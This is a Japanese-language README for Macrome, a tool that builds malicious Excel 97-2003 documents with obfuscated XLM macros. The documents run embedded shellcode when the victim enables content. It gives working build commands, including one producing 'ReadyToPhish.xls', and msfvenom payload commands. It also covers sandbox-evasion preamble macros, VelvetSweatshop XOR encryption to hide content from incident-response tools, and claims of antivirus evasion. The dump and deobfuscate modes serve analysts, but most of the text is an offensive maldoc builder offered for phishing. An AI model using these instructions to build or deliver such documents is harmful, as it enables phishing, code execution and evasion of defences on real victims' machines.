
レッドチームとアナリストのためのExcelマクロ文書リーダー/ライター
レッドチームとアナリスト向けのExcelマクロドキュメントリーダー/ライター。このツールの実際の動作を説明するブログ記事はこちらとこちらにあります。

このリポジトリをクローンまたはダウンロードします。ツールはdotnetを使用して実行できます。例:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
または
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
設定通りに動作させるには、dotnetの5.0以上のビルドが必要です。 https://dotnet.microsoft.com/download/dotnet/5.0 から入手できます。
dotnetを必要とせず、実行可能バイナリを含むツールのバイナリリリースは、Windows、OSX、Linuxのリリースセクションにあります。
Macromeを実行するには、ソリューションディレクトリから dotnet run を使用するか、ビルドされたMacromeバイナリに対して dotnet を使用します。Macromeには3つの動作モードがあります - ビルドモード、ダンプモード、難読化解除モード。
build コマンドを使用してMacromeを実行すると、提供されたデコイドキュメントとマクロペイロードを使用して、難読化されたマクロシートを含むExcelドキュメントを生成します。dotnet Macrome.dll build -h で完全な使用手順が表示されます。
例えば、デコイドキュメント path/to/decoy_document.xls と path/to/shellcode.bin に保存されたバイナリx86シェルコードを使用してドキュメントをビルドするには、dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin を実行します。これにより、開いて「コンテンツの有効化」ボタンを押すと、shellcode.bin のシェルコードが実行されるXLS 2003ドキュメントが生成されます。
以降のドキュメントでは各フラグ/機能を詳細に説明しますが、現時点でMacromeが提供する「最新かつ最高」の機能は、以下を実行することで得られます:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
まず、ユーザーが目にするコンテンツを含む基本の「デコイ」Excelドキュメントを生成します。これは、Excelに表示される「マクロを有効にする」ボタンをクリックするようにユーザーを誘導するための何らかのルアーである必要があります。最新かつ最高のルアー作成の例は、https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- にあります。このシートを作成したら、新しい Excel Workbook (*.xlsx) 形式ではなく、Excel 97-2003 Workbook (*.xls) 形式でドキュメントを保存します。サンプルのデコイドキュメントは /Docs/decoy_document.xls に含まれています。XOR難読化を使用してドキュメントを保護する場合、現在デコイに画像を追加できないことに注意してください。
次に、ツールに提供するシェルコードペイロードを生成します。サンプルのバイナリペイロード(電卓を起動)は、以下のパラメータで msfvenom を使用して生成されました:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
64ビットのペイロードもサポートされています。サンプルの64ビットペイロード popcalc64.bin は以下のコマンドで生成されました:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
このペイロードは以下のコマンドを実行して埋め込むことができます:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
現在、64ビットペイロードを使用するにはx86ペイロードも提供する必要があります。問題がなければ、x86ペイロードフラグには適当な値を指定しても構いません。
.NETアセンブリをドキュメントに直接埋め込むサポートも将来予定されていますが、今すぐ行いたい場合は EXCELntDonut を使用することをお勧めします。
Macrome 0.5.0以降では、すべてのペイロードがbase64でエンコードされるため、ペイロードに任意のバイト列(NULLバイトを含む)を含めることができます。
Macromeを使用して.NET実行可能ファイルを埋め込む場合は、Donut を donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe で使用し、結果のペイロードを32ビットと64ビットの両方のペイロードとして埋め込むことをお勧めします。
もう1つの優れた代替手段は Amber です。かなり大きなGoバイナリの埋め込みにも優れた効果を発揮します。
何らかの理由でMacrome 0.5.0以前のレガシーペイロードエンコーディングモードを使用したい場合は、--payload-method フラグに SheetPackingMethod を指定します。レガシーモードでは、英数字主体のペイロードを使用すると、=CHAR(123)&CHAR(124)&CHAR(125)... のように CHAR 関数の呼び出しを繰り返し追加するよりもマクロ形式で文字や数字を表現しやすいため、生成されるマクロファイルのサイズが小さくなります。ただし、ツールは完全に印刷不可能なバイナリペイロードも処理できるはずです。
バイナリペイロードの使用法と同様に、まずデコイドキュメントを生成する必要があります。次に、実行するマクロを含むテキストファイルを作成します。マクロは列を ; 文字で区切り、行を改行で区切る必要があります。現在、指定されたマクロの内容はA1から書き込まれ実行されますが、将来のリリースでは開始位置を指定できるようになる予定です。サンプルのマクロは /Docs/macro_example.txt および /Docs/multi_column_macro_example.txt にあります。
最後に以下のコマンドを実行します:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
payload-type フラグに Macro を指定していることに注意してください。
自分でマクロを生成するか、優れた EXCELntDonut ツールを使用してマクロを作成できます。
これらについては今後のブログ記事で詳しく説明しますが、Macromeは現在マクロペイロードを3つの異なる方法でエンコードできます。これらのほとんどはまだどのAVにも検出されていませんが、最適な方法を確認するためにペイロードで実験してみてください。
IF と SET.NAME 関数の長いチェーンを使用して呼び出すことで、繰り返しのCHAR()関数の使用を置き換えます。これはまだ悪質なマルドキュ作者によって悪用されていない手法であるため、現時点ではAVに引っかかる可能性は低いです。ROUND 関数でラップします。エンコーディングを指定するには、ビルド時に method フラグを使用します。例えば、CharSubroutine エンコーダを使用する場合:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
ペイロードコードが実行される前に特定のマクロを実行したい場合があります。これはサンドボックス回避のためのマクロを追加したり、ペイロードが正しいホストで実行されていることを確認したりする際に役立ちます。
プリアンブルファイルの形式は、payload-type を Macro に設定した場合とまったく同じですが、単一の列のみをサポートします。例えば、以下のようなプリアンブルを指定できます:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
これにより、画面解像度の値、マウスの存在、サウンド再生の可否がチェックされます。いずれかに失敗した場合、メインペイロードコンテンツを実行する前にアプリが閉じられます。
また、プリアンブルマクロをすぐに評価させたい場合(残りのマクロを展開する前)、コマンドの先頭に %%%%% を付けることができます。例:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
これは、ドキュメントを強制終了する前に実行するXLMコマンドの数を最小限に抑えるのに役立ち、サンドボックスインジケーターの存在に対するより迅速な反応に有効です。
Macrome 0.3.0以降は、XOR難読化(はるかに古いバージョンのOffice由来のレガシー暗号化モード)を使用したドキュメントのパスワード保護をサポートしています。この暗号化モードはIRツールではサポートされていないことが多く、ドキュメントコンテンツを検査から保護するのに役立ちます。
Excelには VelvetSweatshop という「デフォルト」のパスワードがあり、ドキュメントを暗号化しても、開くときに自動的に復号されるようになります。これは攻撃的なコンテキストでXOR難読化を使用する「理想的な」方法です。Macromeはドキュメントを難読化解除またはダンプする際に、自動的にこのパスワードを使用しようとします。
この機能を使用するには、ビルドコマンドに --password <暗号化パスワード> を追加するだけです。
dump コマンドを使用してMacromeを実行すると、任意のドキュメントから最も関連性の高いBIFF8レコードを表示します。この機能は olevba のマクロダンプ機能と似ていますが、エッジケースのPtgエントリをより完全に処理し、Excelの実際のFORMULAエントリに可能な限り近い形式を維持するのに役立ちます。このツールを作成中に生成された奇妙なエッジケースのドキュメントをデバッグするためにこれを使用しています。比較的堅牢です。ただし、現在サポートされていないエッジケースは多数あると思われるため、ドキュメントの内容を適切にダンプできないドキュメントを見つけた場合は、Issueを開いてドキュメントをzipファイルとして共有してください。
dumpコマンドでは、ターゲットファイルを指す path 引数のみが必要です。呼び出し例:
dotnet Macrome.dll dump --path docToDump.xls
dump コマンドのほとんどのフラグはデバッグ用ですが、dump-hex-bytes は関連レコードの個々のバイトペイロードを確認したいユーザーにとって有用かもしれません。これは BiffView と同様の機能ですが、デフォルトではマルドキュ固有のエントリのみが表示されます。
deobfuscate コマンドを使用してMacromeを実行すると、難読化されたXLSバイナリドキュメントを受け取り、いくつかの解析妨害動作を元に戻そうとします。dotnet Macrome.dll deobfuscate -h で完全な使用手順が表示されます。現在、このモードはデフォルトで以下を実行します:
Lbl エントリの手動指定ラベルを正規化します。例えば、悪意のあるXLS 2003マクロファイル path/to/obfuscated_file.xls を難読化解除するには、dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls を実行します。これにより、手動またはツールで解析しやすくなる難読化ファイルのコピーが生成されます。
注意: これはまだあまり多くの処理を行いません。主に、修正されたb2xtranslatorライブラリを使用して難読化解除を自動化する方法を示すためのものです。より便利な機能は近日中に追加予定です。
このツールを書くにあたり、多くの方々の肩に乗せていただいたことに感謝します。
b2xtranslator ライブラリの原著者、およびそれをアップデートしてdotnetに移植したEvolutionJobsの方々。ここで使用されているコードは当初 https://github.com/EvolutionJobs/b2xtranslator から入手されました。